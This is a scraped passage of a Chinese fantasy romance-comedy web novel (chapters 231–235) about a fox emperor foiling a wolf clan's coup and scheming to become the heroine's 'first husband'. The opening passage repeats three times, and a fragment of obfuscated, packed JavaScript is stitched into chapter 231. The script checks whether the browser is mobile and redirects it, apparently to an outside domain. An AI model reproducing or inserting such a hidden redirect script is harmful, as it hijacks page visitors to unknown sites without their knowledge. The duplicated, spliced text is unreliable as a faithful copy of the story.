林玉锦和风行行同样难掩喜色,其他妖表情更是一言难尽。 而此时,那被软禁在妖帝隔壁的大司命,不慌不忙,掐指一算,便悠悠端起了茶盏。 一次机会,权杖,你交是不交?” 风回雪半张脸浸在光晕中,看不清神色,幽暗而浓稠的视线落定在天狼王手中的晶石。 许久,轻声冷笑,“好啊,那大家一起死,你说是吗?狼、太、灰。” 他说到最后,唇角弧度渐显,含着讥讽的嘲弄,偏头看向怔忪望着这一切,没了任何反应的少年。 天狼王知道风回雪在想什么,胜券在握,回以冷笑。 “你不用拿这个蠢东西来威胁我,今日就算整个妖都的妖都死绝了,我儿子也死不了。” 他自然有保下狼太灰的办法,就算他**,狼太灰在他特意留下的一支直系拥护下,也能登上妖帝之位! 当然,风回雪能主动让位是最好的。 “倒不如先想想你这可怜无辜的……儿子?” “哈哈哈哈!” 对比天狼王的癫狂,和阴阳怪气的讽刺,风回雪表情冷淡。 不经意地扫了一圈,天狼一族确实少了一个重要的妖王。 “我如何相信你的话?” 天狼王笑声一止。 果然,他赌对了。 风回雪最在意的就是这个人族两脚兽。 还真是有病。 他再次露出胸有成竹的笑,得意道:“行,我便让你看看!” 大难临头,垂死挣扎,痴心妄想! 今天,就是天王老子来了,都别想阻止他踏上妖帝之位! 天狼王将一缕妖力灌入妖晶,一方水幕随之浮现在大殿半空。 他看也不看身后的水幕,精神焕发的注视着风回雪,心情颇为愉悦。 准备看这个不知天高地厚的狐狸崽子,会是如何惊恐,又会如何向他低下高贵的头颅。 “想不到吧?我会将这处废弃的传送阵作为启动所有阵法的主阵。” “只要我将这妖晶捏碎,启动主阵,你,你儿子,所有妖都的妖,都会死。” 然而,让天狼王疑惑的是,风回雪并没有像他想象中,露出惊恐的神色。 而是面色古怪的盯着他身后那一帘水幕,唇角似乎还抽搐了一下。 随后是……明眼可见的幸福缱绻? 死到临头,死狐狸搁这幸福缱绻? 林玉锦和风行行同样难掩喜色,其他妖表情更是一言难尽。 而此时,那被软禁在妖帝隔壁的大司命,不慌不忙,掐指一算,便悠悠端起了茶盏。 一次机会,权杖,你交是不交?” 风回雪半张脸浸在光晕中,看不清神色,幽暗而浓稠的视线落定在天狼王手中的晶石。 许久,轻声冷笑,“好啊,那大家一起死,你说是吗?狼、太、灰。” 他说到最后,唇角弧度渐显,含着讥讽的嘲弄,偏头看向怔忪望着这一切,没了任何反应的少年。 天狼王知道风回雪在想什么,胜券在握,回以冷笑。 “你不用拿这个蠢东西来威胁我,今日就算整个妖都的妖都死绝了,我儿子也死不了。” 他自然有保下狼太灰的办法,就算他**,狼太灰在他特意留下的一支直系拥护下,也能登上妖帝之位! 当然,风回雪能主动让位是最好的。 “倒不如先想想你这可怜无辜的……儿子?” “哈哈哈哈!” 对比天狼王的癫狂,和阴阳怪气的讽刺,风回雪表情冷淡。 不经意地扫了一圈,天狼一族确实少了一个重要的妖王。 “我如何相信你的话?” 天狼王笑声一止。 果然,他赌对了。 风回雪最在意的就是这个人族两脚兽。 还真是有病。 他再次露出胸有成竹的笑,得意道:“行,我便让你看看!” 大难临头,垂死挣扎,痴心妄想! 今天,就是天王老子来了,都别想阻止他踏上妖帝之位! 天狼王将一缕妖力灌入妖晶,一方水幕随之浮现在大殿半空。 他看也不看身后的水幕,精神焕发的注视着风回雪,心情颇为愉悦。 准备看这个不知天高地厚的狐狸崽子,会是如何惊恐,又会如何向他低下高贵的头颅。 “想不到吧?我会将这处废弃的传送阵作为启动所有阵法的主阵。” “只要我将这妖晶捏碎,启动主阵,你,你儿子,所有妖都的妖,都会死。” 然而,让天狼王疑惑的是,风回雪并没有像他想象中,露出惊恐的神色。 而是面色古怪的盯着他身后那一帘水幕,唇角似乎还抽搐了一下。 随后是……明眼可见的幸福缱绻? 死到临头,死狐狸搁这幸福缱绻? 林玉锦和风行行同样难掩喜色,其他妖表情更是一言难尽。 而此时,那被软禁在妖帝隔壁的大司命,不慌不忙,掐指一算,便悠悠端起了茶盏。 第 231 章 友谊小船,翻 “风回雪!老娘扒了你的皮!” 一声气急的怒吼充斥整个大殿。 绕梁三尺,不绝于耳。 风回雪狐皮一紧,唇角的笑意登时夹杂一丝如临大敌的慌乱。 他自然认得出,那个顶着一张平平无奇的脸,一手霸气拎锅的女子正是江献晚,哪怕她化成灰! 天狼王僵硬着脖子,以一种极慢的速度,缓缓回过头。 凌乱而茫然的望向身后那一方水幕。 水幕中乱糟糟的一片。 符箓法器齐飞。 两个魔,三个界域弟子,一头灵兽,还有本该早已离开的南境亲传,各个灰头土脸,口中骂骂咧咧。 最瞩目的还是要属……那个拎着一口破锅,青衣发丝滚涌,高高跃上半空,狠狠一锅砸在大阵上的女子。 轰——! 在众妖呆滞的表情中,和天狼王来不及伸出尔康手的绝望中,伴随着那口破锅落下,水幕轰然爆出一片刺目光华。 天狼王瞳仁一翻,遭受不住打击……晕了过去。 他的大阵——!!! 他的帝位——!!! 而这场即将搅得妖域天翻地覆的闹剧,最终在一片破口大骂声中落下帷幕。 风回雪挥手命妖将**的妖拖下去,等候发落。 特意叮嘱白羽将天狼王丢到妖帝隔壁院子,记得还要在墙上开一道窗。 白羽:“……”其心,恶毒啊。 可以想象,等天狼王醒来,看到隔壁的妖帝,那不得跳着脚,掐着腰,连吐带呸,破口大骂。 “你,不杀我爹?” 狼太灰望着呼啦啦空出来的大殿,不可置信的再看踱来踱去,眉眼焦急的男子,一双大眼睛写满了清澈的愚蠢。 “那我呢?不囚禁起来?” 风回雪正怕的要死,不耐烦的对着蠢狼摆手。 “囚禁你爹!滚滚滚!没功夫理你!” 而后一步蹿向林玉锦,眼巴巴,“小师兄,打个商量。” 林玉锦:“……” 妖域边界。 累的气喘吁吁的一群小伙伴,躺在烂的不能再烂的大阵上,看头顶白云朵朵飘过。 幽冥有些失望,“怎么还没妖来绑咱们?” 江献晚抿了抿唇,偏头望向那片繁华的妖都,几乎要将手中的玉简捏碎。 风回雪联系不上,小师兄也联系不上。 她抹了一把脸上的灰尘,煞然起身。 霓裳抓住她的一片衣角,“你做什么?” “进妖都。” 她通过与风回雪之间的灵契,可以感知到风回雪暂时并无生命危险。 然而,她发出的消息皆石沉大海。 江献晚不敢想妖都现在是何等情况,又或者是不是出了什么意外。 她只知道,今日就算是死,她也要和江行行,和风回雪待在一起。 但,这是他们三口的事,她不想牵连何未语他们。 看了一眼跟着起身的小伙伴,脚步一顿,故作轻松,“你们先回去吧,我晚些回。” 她本以为风回雪有十足把握,让他们跟着也无所谓,现在看来,恐怕…… “那不行!”水涟扑过去,一下抱住她的小腿,“想甩掉我,没门!一点没有!我就要跟着你!” 剩下的:“对!”谁说不是呢! 他们都穿一条裤子了,凭什么不能去! 江献晚笑了笑,怜爱的摸摸水涟的翅膀,“听话。” 又朝南境小伙伴道:“何师姐,多谢你们。” 她转眸看了一眼妖都,眼眶渗出一点潮湿的痕迹。 何未语握紧剑鞘,唇瓣轻启,似乎有话要说,迷音忽然秃噜下去,双手抱住江献晚另一条小腿。 “江献晚,我叫你一声白莲花,你敢答应吗?” “那有什么不……嗯?” 江献晚猛然闭嘴,悲伤的心绪刹时止了一息。 对上月离三个早已看透一切的得意小眼神,无语,“你们怎么看出来的?” 月离得意的晃着她的胳膊,下颌骄矜轻抬,“我先发现的,黑森林就看出来了。” “你骗人!”水涟一翅膀扫开他,抱着江献晚的小腿一个劲摇晃,“明明是我先发现的!” 幽冥的表情变得有些呆滞而迷茫。 “什么江献晚?” 不是白莲花吗? 霓裳挎上江 献晚的胳膊,很是欣慰,“姐妹,恭喜,你马甲掉了!” 天雪白尾兽深深瞅了一眼江献晚:这娘们,心眼,可真多! 看到何未语和修言他们齐齐四十五度角望天,幽冥嗷地一声,“霓裳!所以她到底叫什么!” “这些都不重要。” “我儿子在妖都。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009236|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “幽冥,抱歉,我没有想挪魔碑。” “各位小伙伴,再见。” 江献晚轻声道,最后摸了摸天雪白尾兽。 脚步一转,径直飞向妖域入口。 她没行几步,一群小伙伴气势汹汹的跟了上来,七手八脚拽住了她。 修言早在她撵他们走的时候,就憋了一肚子气,一抓上她,便情难自禁、激动的大声喷她脸上。 “好你个江献晚!你把我们当什么人了!有这么做朋友的吗!” “怪不得别人现在都叫你缺德玩意儿!你特么还是个人吗!” 温柔的何师姐,此刻罕见的有些生气,长剑铮然出鞘。 晃着剑,怒吼道:“江献晚!信不信我现在就把你的狗脑袋打成驴脑袋!” “你脑子里装的都是屎吗!还想跑?来人!抄家伙给我上!” 好哇!竟敢不拿他们当作一家人! 太过分了! 杀了! 这个小伙伴不要也罢! 友谊的小船,登时翻了个底朝天。 江献晚:“……!” “真的,真正的寒心不是大吵大闹,江献晚,你这回可真的太让人失望了!” “口口声声木师兄,你特么有把我这个师兄放在眼里心里吗!忒!别活了!” “没想到你竟然是这样的人,友尽吧!” “顶着这张脸,可把你厉害坏了,行啊,那咱们现在就割袍断义!江献晚!看着我!” 江献晚嘴都来不及张,就被喷了一脸口水,还挨了七八十来脚,都不知道都是谁踹的。 原地嗷嗷蹦跳着,疼的呲牙咧嘴。 看得出来小伙伴们真的生气了,忙撕下画魔……又被喷了一头的口水。 她抱头鼠窜躲闪着小伙伴们爱的教育,脸上的口水擦都不敢擦。 小腿一痛,嗷地一声。 “别打了!我错了还不嗷——!” “你们先听我狡嗷——!” “狡辩!她还想狡辩!” “我特么让你狡辩!” “我现在就把你打成一坨大便!” 霓裳扶着额头,被吵的有些头晕,还很想笑。 “不是……儿子?” “姐妹!你什么时候有的儿子!” 这货竟然有儿子? 有儿子都不跟她这个姐妹说? 太过分辣! 第 232 章 他呢 “好你个江献晚!你踏马的是一点道德都没有啊,我拿你当姐妹你拿我当傻逼!吃我一鞭!” “说!你儿子是谁!” 江献晚一边跳脚,两手去挠背和小腿,忙不迭吼道:“风行行!风嗷!别打了何师姐!” 霓裳:“我……去?” 风行行? 酒楼庆祝时,将她推了个脚朝天,她使出吃奶劲儿都能没亲到的小娃娃……风回雪的儿子? 牛逼。 她家魔后还跟风回雪有一腿? 重要的是,她又跟哪个谁生的这么大的儿子?! 幽冥一边试图护着江献晚,尤其在看到江献晚真正的脸之后,态度刷地两极反转。 笑的嘎嘎响。 “江献晚!啊哈哈哈哈!白莲花就是江献晚!江献晚就是我们魔域的魔后!” “我就说皇怎么突然变心了!” “鹅鹅鹅鹅鹅!江献晚是我家魔后!魔后——!” 南境小伙伴:“……”靠! 谁家的? 江献晚这个狗东西,啥时候又跟魔皇有的一腿,还成了人家魔后? 合着她失踪这么多天,含糊不清说自己在外面办一件很大很大的事,就是给人家去当魔后了? 更过分了! 那他们这些南境的算什么! 趴在草丛里,喂了十天大蚊子的他们又算什么! 月离拔腿撵上去,委屈指责,“你什么时候生的儿子,怎么不告诉我一声?” 迷音:“对啊,凭什么不告诉我们?” 水涟这会儿智商在线,拿翅膀呼他俩:“你们认识吗告诉你们,傻子!” 天雪白尾兽很中肯,点名要害:“不过,江献晚又在骗人!” 一群小伙伴:“亲爹是谁?!” 既然说了,那便一下说个痛快! 江献晚再敢骗他们,今日一点都别想活! 亏他们这般信任她,她却是人干的事她一点不带干! 江献晚嗷的跟个狗似的,身形恨不能闪出花。 声嘶力竭。 “帝隐!帝隐!他亲爹是帝隐——!” “别打了!” 一群小伙伴:“……”靠!!! 谁? 帝……隐。 这是他们能听的吗? 那个不染人间烟火、最是莹澈无瑕的北帝尊,两境三域公认的天上月,地上雪……都被她给嚯嚯了?! 他俩还生了个儿子? 江献晚属实牛逼哇! 难怪雾掌门说她养灵兽养到一半,突然跑了。 合着北帝尊就是那个灵兽! 妖域、魔域、北境。 这货挑了仨最牛逼的!!! 可真特么的会睡啊! “说!还有没有其他没交待的!” 江献晚:“……” 她只沉默的一瞬,幽冥一挺胸膛,骄傲替她说:“有!她没有三个!” “她有七……唔!” 飞快捏上幽冥嘴的江献晚:“……”不用说,这个真的不用说! 剩下的:“七什么!” 江献晚:“……我有期待更多个!” 不行不行,花不休和云为泽决计不能说,尤其花不休是她师尊。 没有的事儿,要是传出去,这不是坏了花不休和云为泽的名声么! “那你还真挺不要脸的。” “她还期待更多个?” “难怪我家掌门都说江献晚有心事,想统治两境三域,我还不信。现在我是真特么的信啊!” “你要不要把咱们南境的帝尊也给泡了?嗯?回答我!” 江献晚:“……”泡过了。 但,回答不了。 江献晚抱紧可怜的自己,无助的蹲在圆圈内,被一圈小伙伴们的口水,硬生生洗了个头。 此刻,谁都不知她芥子囊里的那块墓碑,跟琴弦似的抖了半晌,最后扛不住一股股猛烈的冲击,又双叒叕昏死了过去! 它那狼心狗肺的虎娘们,果真遭报应了! 一群小伙伴顾不得赞叹江献晚脸皮可真厚,仨都不够,还期待更多个,撵狗似的,追着她骂了十几圈。 除了语言攻击,还带动作加持! 何师姐举着她那把剑,舞的那叫一个虎虎生风! 更别说背后数道法器光芒,比玄古大赛干仗都耀眼了至少三倍! 尽管有幽冥护着,天雪白尾兽和月离仨没参与施暴,江献晚还是挨了一顿胖揍。 边逃,边嗷。 被一群小伙伴,赶鸭子似的,一路抽到了妖域入口。 令他们意外的是,那些本来守在这里的妖早已不见。 进入妖域的山谷,一路更是畅通无阻,根本看不到一个妖的影子。 随着深入,江献晚心头的凝重又加了一分。 她焦急的飞过落英缤纷成荫草木,繁华的妖都出现在视线。 江献晚愣了一下,一群骂骂咧咧的小伙伴忽然闭上了嘴。 细雨蒙蒙,一个眉眼灿烂的青衣少年,牵着坐在玄龟背上的小娃娃,行走在静谧的蜿蜒小路。 竟似落寞无限。 何未语他们一对视,默默抿紧了唇,齐齐顿下脚步。 江献晚指尖轻颤起来,踉跄着飞身迎上。 她没有先去抱江行行,紧紧看着林玉锦的眼睛,嗓音一如既往的冷静。 “他呢?” 林玉锦没说话,缓缓拢紧江行行的小手,垂下了头。 怕多演一秒,都想扇自己的脸。 竟然敢骗小师妹! 该打! 他也是被那只满脑子都是名分的狐狸吵的头疼,没抗住风回雪一哭二闹三上吊,哭啼啼的说什么他跟了小师妹四年还没个正经名分,还说什么反正都要挨揍。 现在看着小师妹看似平静,实则眼睛都红了的模样,林玉锦悔的肠子都青了。 江行行也没说话。 因为他爹说,见到娘亲一定要闭紧嘴巴,听小师伯指挥,娘亲不仅会奖励他一个大大的亲亲,今晚还会抱着他睡觉。 江行行偷偷看了一眼小师伯,学着他的模样垂下脑袋,小指头期待又开心地抠着玄龟的壳。 丝毫不知被他爹坑了一把大的,更没看见他娘眼圈红了。 林玉锦唇瓣蠕动着,疯狂挣扎着。 要不要坦白? 要不要坦白? 小师妹都快哭了啊! 狐狸这不是纯纯找揍吗! 林玉锦哪里见过自个的小师妹露出这种要死要活的模样,心咔嚓一下跟着碎了。 立刻反水,弱弱道:“那个,小……” 却见江献晚突然笑了一下,怎么看都有些惨痛,吓的林玉锦浑身一抖,即将脱口的真相,一下子咽了回去。 江献晚没有看到林玉锦快要晕过去的难耐表情,俯身亲了亲江行行的脸颊,嗓音干涩,隐有泪意。 “行行以后要听话。” 林玉锦:完了,完大发了。 遗言都整出来了。 江行行:“……”不是。 娘亲是亲他了,可他怎么觉得有点不对。 江行行紧张的抬起小手,就要去抓江献晚的衣袖。 而江献晚在说完这句,催动灵力,眨眼间消失在他们视线。 她这一走,江行行慌的小脸都白了,“小师伯?我娘,我娘是不是哭了?” “哭的是你爹!”林玉锦伸出的手还悬在半空中,脸比他都白,汪地一下哭出了声。 目送一行远去的背影,痛苦的揪上自己的衣襟,补充道:“还有小师伯!” 好你个风回雪,把他小师妹迷成什么样了! 儿子都不要了! 小师兄也不要了! “呜呜呜呜呜!明明我才是小师妹最心爱的小师兄啊!” 第 233 章 我还想做大房 江献晚在撞到狼太灰的那一刻,彻底心死。 她抬腿,一脚将他踹翻在地,薅上他的衣领,一拳砸在少年半张完好的脸上。 双目充红,浸满了各种情绪。 “白眼狼!造反是吧?” 狼太灰眼睛一亮,苦涩的声音此刻无不是惊喜,“晚晚!” “晚你娘的晚!带我去见风回雪!” 又结结实实挨了一拳的狼太灰:“……” 他知道错了啊! 改了还不行吗…… 狼太灰欲张口,然而,因为他爹的造反,使得他格外心虚,连个屁都不敢放。 一边从睫毛下欢天喜地偷看江献晚,一边又哭唧唧的带着她直通风回雪寝殿。 江献晚在看不到白羽,又见路过的妖对他们视若无睹,一颗心沉到谷底。 她不敢问关于风回雪的一点,唇抿的很紧。 狼太灰停在殿外,蓬乱的大尾巴,无精打采的拖在地上,委屈的捧着两边高高肿起的脸颊。 “你自己进去,还是我送你进去。” 江献晚:“……” 造反成功就是不一样哈,瞅给他牛逼的。 这句话落在江献晚耳中,成了另外一层含义。 你自己去死,还是我送你上路? 江献晚冷笑一声,径直推开那扇厚重的门,“不劳您大驾。” 又冷冷道:“放他们离开,如果不想南境魔域和界域攻打妖域的话。” 狼太灰:“……好的。” 她说的话,他怎么有点听不懂。 门关闭,狼太灰蹲在地上,郁闷不已的捏着一根小树杈画圈圈,眼前一片张牙舞爪的阴影忽然打落。 头还没抬起来,就被什么东西一下子骑了上来,摁在了地上。 而后是……无数沙包大的拳头。 还有……许多只,不知谁的脚。 狼太灰:“……!” 修言撸起袖子,骂骂咧咧:“我让你造反!我让你造反!你就是这么跟我们称兄道弟的吗!” 何未语声音严厉:“好你个白眼狼!良心被狗吃了?你对得起江师妹吗!回答我!” 幽冥:“敢欺负我家魔后,呔!吃我一捶!” 月离:“你有几个胆子敢惹她生气!小爷我都不敢!” 天雪白尾兽一爪子呼狼太灰脸上:“我打!” “揍死他!” “扒了他的皮!” “对!看他以后还敢不敢造反!” 狼太灰:“……” 望着一群对他拳脚相加、狂吐口水的人、魔、妖、兽,狼太灰张了几次嘴,还是选择抱紧可怜的、大大的自己。 江献晚没有理会外面的动静,她并不担心何未语他们的安全。 天狼王坐上帝位又如何,料他也不敢在此时招惹南境,找死的去收拾霓裳和月离他们。 她无声深吸一口气,缓步走进大殿。 江献晚步履很慢,脚步声明明很轻,却似化作无形的重压,一声一声沉闷的叩击在心头。 朦胧的视线扫过那帘时涨时消的珠幕,还未看清眼前的一切,眼前一花,整个人蓦地被一股大力箍进一具宽阔而温暖的怀抱。 狐狸身上的桃花香很浓,这几日定然常窝在桃花树上小憩,密密匝匝将她包裹。 “晚晚。” 干涩的声线落在耳畔,江献晚眸子一红,伸出手,用力回抱这个陪伴她整整四年的狐狸。 “我在。” 幸好,风回雪没事。 幸好,不算太晚。 她虽在笑,嗓音却湿漉漉的,风回雪头皮都麻了。 心虚刹那攀至顶峰的同时,胸腔深处咔嚓裂开数不尽的罅隙,像是有无数蜿蜒的熔浆淌过,烧穿他的肺腑。 这一刻,真真是叫他立刻死了,他也愿意了。 风回雪下颌轻搁在她的发顶,微垂的眼睫下,温热的雾气蒸腾而起,仿佛将积攒一生的暖色,都融在眼角之中。 “晚晚……” “从今往后,我们再也不分开。” 江献晚轻轻应声,“嗯。” 不分开。 她既然来,就打算好了与风回雪共生,共死。 永不分开。 风回雪心音霎时止了。 他极缓慢的眨了一下眼,眼睫泅湿,几颗泪珠遏制不住从眼角争先恐后的滚落。 双臂缓缓收拢,最终淬炼成一种近乎蛮横的占有。 他不知时间过了多久,又恨不得这般抱着江献晚天长地久。 然而,这种翕动不止、天塌地陷的幸福感……倏尔不合时宜的一滞。 他似乎……忘记了什么很重要的事…… 他的…… 名分!!! 狐狸差点忘记狐生最大的要命事,浑身一个激灵,情绪陡然一变,四肢逐渐僵硬起来。 心中小算盘瞬间打的那叫一个噼里啪啦,迸溅出一片片火星子。 悄然缓吸一口气,慢慢吐出来,声线沾染几分哽咽的哭声。 顺着杆子疯狂往上爬。 “我想做行行真正的爹,名正言顺的那种。” 江献晚:“……嗯。” 算了,反正都要死了,那……睡一觉? 狐狸屏住急促的呼吸,身子一绷再绷,竭力按捺,又湿哑着嗓子。 直接站竹竿子顶端。 “我还想做大房。” 江献晚:“……好。” “真的?!”风回雪猛地松开她,眼中是压不住的、几乎要晕过去的狂喜,“那你不能反悔!” 看着丝毫不担心自身难保的狐狸,江献晚眸子闪过一丝疑惑,而这丝疑惑很快消失。 狐狸近日对大房的执着,可以说是达到了一种走火入魔的地步,想压另外几个男人一头,可以理解。 于是乎,认真的一点头,趁着狐狸终于肯撒手的空隙,忙将他从头到脚看了一遍。 心中的那丝疑惑更大了。 “你,没受伤吧?” 听到江献晚亲口承认他大房的名分,风回雪就好像听到了什么最惊心动魄的回响,狐狸心砰砰跳做一片纷乱的鼓点。 心花怒放,一双雪白的狐耳,情难自禁、连颤带晃的蹦出,只觉从头到脚都飘了。 幸福的有些不真实。 忙偷偷用力掐了两下自己的大腿,拼着狐命压下快要翘上天的唇角,一条手臂牢牢固定她的细腰。 握起江献晚的手,带她顺着自己的心口,落在腰腹处,微红的狐狸眸深处不知不觉泛起情动的潮水。 “晚晚,这里有点痛,你帮我看看吧。” 江献晚心尖一颤,以为他受了什么严重的内伤,自然忽略了他不自然的声线。 语气是掩饰不住的焦急。 “让我看看。” 风回雪由着她在腰腹间摸索,呼吸愈发急促,狐耳颤巍巍的好不可怜。 一条两手环抱的尾巴,难以排遣的攀缠上她的小腿。 腹部狂蹿上来的邪火,更是麻溜的剪断,只要面对江献晚便弱不禁风的克制。 忍不住低下头,急色的含上她的唇瓣,极慢的辗转反侧,吮舔。 “先叫一声夫君好不好。” “晚晚……求你了。” 他知道不该骗晚晚。 实在是非翎那个小贱人,太骚太贱,一天到晚挑拨离间,还有其他几个男人虎视眈眈。 宁愿待会露馅,挨一顿毒打,再跪个三天三夜,都得把这大房的名分给坐实了! 江献晚听他沙哑的声音,心头的酸涩一浪高过一浪。 往日的点点滴滴,走马观花在脑海中一一闪过,眼眶逐渐湿红。 算了,两个字而已,他若喜欢,喊一声吧。 指不定他们两个连明天的太阳都见不到。 江献晚一双雪白的小臂,攀上他线条紧实而优美的肩颈,随着他俯身的动作,仰躺在桌案上,由着狐狸闹。 耳尖不自觉的泛红,敞开心扉,濡湿的唇瓣微微张开,迎合着狐狸的吻。 有些羞耻,仍努力的往外蹦字。 风回雪只觉整个世界在此刻陷入一种无法言喻的死寂,只余下唇齿交融的暧声和跳如擂鼓的心音。 他整个身体开始细微的轻颤起来,两只狐耳拼命一竖,一簇探入她裙角的雪白尾巴尖,也紧张的僵在她腿心。 “夫……夫……” “帝上!我已将天狼王等软禁!狼太灰还软禁吗?” 风回雪:“……” 江献晚:“……” 第 234 章 差一点 二十分钟后。 江献晚衣裙整理妥帖,高贵冷艳的绷着脸,一脚踏出大殿。 腰上挂着鼻青脸肿,衣裳发丝散乱,苦苦哀求的新任妖帝。 狐狸睫毛带泪,哭的那叫一个肝肠寸断。 拿脚踹开白羽,气急败坏道:“不说话没人把你当哑巴!” “滚!!!” 差一点! 又差一点! 这该死的一点!!! 天打雷劈大司命! 乌鸦嘴!!! 该算的不算,不该算的瞎**算!!! 白羽:“……?”又特么发什么神经! 听了好一会儿戏的小伙伴们,不知从哪里搬来的小凳子。 边嗑瓜子,边饶有兴趣的看着那个从背后死死抱着江献晚,痛哭流涕,惨叫哀嚎的新任妖帝。 直摇头。 “啧啧啧……” “瞅给打的。” “狐狸心眼就是多啊。” “惹到她算是惹到炮仗了。” “嘿嘿嘿,我家皇要是知道了,嘴都得笑烂了。” “好险,差点就给他吃上了。” “前半段少儿不宜,后半段观众叹气。” “前半段欲火焚身,后半段怒火攻心。” “组织表示,对新任妖帝很是失望!” “我都准备捂耳朵了,结果那砰砰砰的一声又一声,无情地浇灭我心中的莫名激动。” “别说,真就有点白激动。” 风回雪:“……”不说话也没人把你们当哑巴的! “呜啊——!” 狐狸登时哭的更大声了。 同样哭的很大声的,还有狼太灰。 他抱紧大大的自己,脆弱的泪水从肿起的面颊上一行行滑落,冲刷过泥土,留下斑驳的痕迹。 气的一把鼻涕一把泪,“噎噎噎”抑扬顿挫、抽噎个不停,险些哭断了气。 该死的臭狐狸,江献晚怎么没打死他——!!! 短短半日,江献晚心情犹如过山车,又惊又惧,又气又怒,又喜又…… 不顾哭的上气不接下气的新任妖帝,决定带江行行回太虚宗。 林玉锦看着风回雪那张惨不忍睹的脸,可想而知小师妹生了多大的气。 “那个,小师妹,他也是一时糊涂。” “小师兄也有错,不该欺骗小师妹,你多打我几下吧。” 都这馅儿上了,还不忘想着做什么大房,啃他小师妹,可见这狐狸有多么的急色,对大房又是多么的执着。 他也是跟着犯浑,明明小师妹该是很开心的。 林玉锦蔫头巴脑的垂下脑袋,江献晚自然不舍得打,顺手捏了捏自个小师兄滑嫩的脸蛋。 而后……反手又朝狐狸腰上用力拧了一下。 风回雪:“……” 江行行伸出小手,抱住了江献晚的腿儿,又是心疼,又是自责。 “娘,您歇会,吃饱了再打。” 爹竟然骗他,还惹哭了娘亲。 太过分了! 风回雪疼也不敢叫,感动的眼泪哗哗,“好儿子。” 江行行:“……” 林玉锦:“……” 江献晚:“……” 旁边看戏的小伙伴趁着他们处理家庭内部矛盾的功夫,自顾自的拉出两张大圆桌。 修言一屁股坐下,四肢都跟着软了,“这些天可累死我了,白羽!你倒是上菜啊!傻站着干什么!” 狼太灰:“……”是打他打的累死了吧? 再晚一会儿,他狼皮都要被扒没了。 何未语举手,“唉,记得多拿点酒!” “饭要地上跑的,天上飞的,水里游的!我都想吃!” “有菜谱吗?那个白鸟,麻烦上一本!” 白羽:“……”你个死黑鸟,你特么礼貌吗? 连幽冥都没忍住,咕咚咽了一下口水,拿胳膊碰了碰江献晚。 “魔后,要不,吃完再走?” 风回雪死死从背后环着江献晚的腰肢,先是恶狠狠地瞪了一眼幽冥,再看冷着脸的江献晚,弱小而可怜。 “晚晚,他们赶这么远的路,咱们招待一下贵客,吃完我任你处置好不好?” 得知一切,遭受无妄之灾挨了一脚,又被使唤的团团转转的白羽:“……” 咋不吃死你! 他还有脸搁这谈招待? 珍馐美食,琼浆玉液,很快摆满两大桌。 连天雪白尾兽面前都被放了一个拿来喝酒的大海碗。 他们刚举杯同饮,一道嚣张而张扬的猩红身影从虚空踏来。 嗓音宛如拉丝的甜蜜饯。 先是蜜里调油般,欢欢喜喜喊了一声,“晚晚!” 一瞥江献晚身后的人形挂件,便欣喜若狂、噗嗤笑开了花。 狐狸是谁揍的,还用猜吗? 想都不用想,这绝对是压倒大房,他非翎上位的大好机会! 掐着嗓子。 “哟,哥哥这脸是怎么了呀~差点没认出来呢~” “莫不是哥哥又惹晚晚生气了?” 幽冥一哆嗦,筷子落地,“卧……槽!” 他把一把屎一把尿将他喂大的皇又给忘了! 霓裳眼疾手快,海碗都来不及搁下,嗖地钻进桌子下面。 风回雪眼角突地一跳,将江献晚放在凳子上,松开了她的腰。 身形一闪,一步踏上虚空。 “贱人!” 眼花缭乱的魔气和妖力,映地天色忽明忽暗。 其中不断穿插着狐狸气急败坏、亲切而生动的问候。 还有那仿佛吃了一罐子蜜,又满是茶言茶语的委屈音调。 霓裳瞅了一会儿,从桌子底下爬出来,啪啪鼓了两下掌。 “吾皇浪起来可真骚到家了,瞅把人新任妖帝给气的。” 幽冥提心吊胆跟着看了一会儿,还是诚实的捡起筷子。 魔后都不慌,他慌什么。 小声蛐蛐。 “说真的,我要是妖帝,我也得干他。” “江师妹,你这两房似乎不怎么和谐?” “你平常都是怎么管教的啊?” “你们说,要是北帝尊也在,也会这般小妾的作态吗?” “嘿嘿……想看。” 江献晚:“……”什么都看,只会闪了你们的眼。 天上打的不可开交,地上觥筹交错,好不热闹。 没想到还有节目看,气氛算是给到位了。 眼瞧非翎黏黏糊糊,欢天喜地的直想往江献晚和江行行那边蹭,嘴里一口一个晚晚和儿子。 想到这些天非翎在信道中的犯贱行为,还被这小贱魔看了笑话的风回雪,那是恼的火冒三丈,又是怒气冲冲一拳砸过去。 “我今天非打死你这个,小、贱、人——!” 非翎:“啊哟~哥哥~你~真~的~是~好~凶~好~凶~的~呢~” 江献晚:“……” 心好累,毁灭吧。 第 235 章 你是我的神 月色当空,顶着狼耳的少年蹲在树杈上,臂腕稳稳托着江行行,旁边是玄龟和天雪白尾兽,还有白羽。 他们依依不舍的望着一众前行的身影,挥手与江献晚他们告别。 白羽无精打采的瞅了一眼狼太灰,困的连着打了三个哈欠。 “小殿下交给你了,我先回去睡了。” 累死了。 天狼王造反,这段时间的准备工作,那是日日夜夜忙的他脚不沾地。 再不睡,他羽毛都要掉了。 狼太灰轻嗯了一声,垂落的大尾巴胡乱扫来扫去,毛茸茸的耳尖渐渐泛起一丝红晕。 想到吃饭时,江献晚把江行行塞进他怀里,衣襟被两只小手攥着,脆生生的太灰叔叔钻进耳畔,狼太灰羞涩的呜咽一声,狼耳剧烈抖动几下。 晚晚临行前说,让他没事帮忙给她带带孩子。 江行行望着消失在天际的云舟,好一会儿才收回视线,“太灰叔叔,行行今晚可以带大龟和猫咪去狼穴睡吗?” 让他爹知道,他再惹娘亲生气,他也会生气的。 而且,听说狼刨的狼穴,睡起来可舒服了。 狼太灰看了看魔气妖力交织的半边天,面颊涨红,局促的抱着他跳下树杈。 “可以。” 死狐狸跟那魔头打的水深火热,连江献晚走了都不知道。 白羽又不在,刚好之前给江献晚刨的洞没人睡。 另一边,江献晚将玉简纳入袖中。 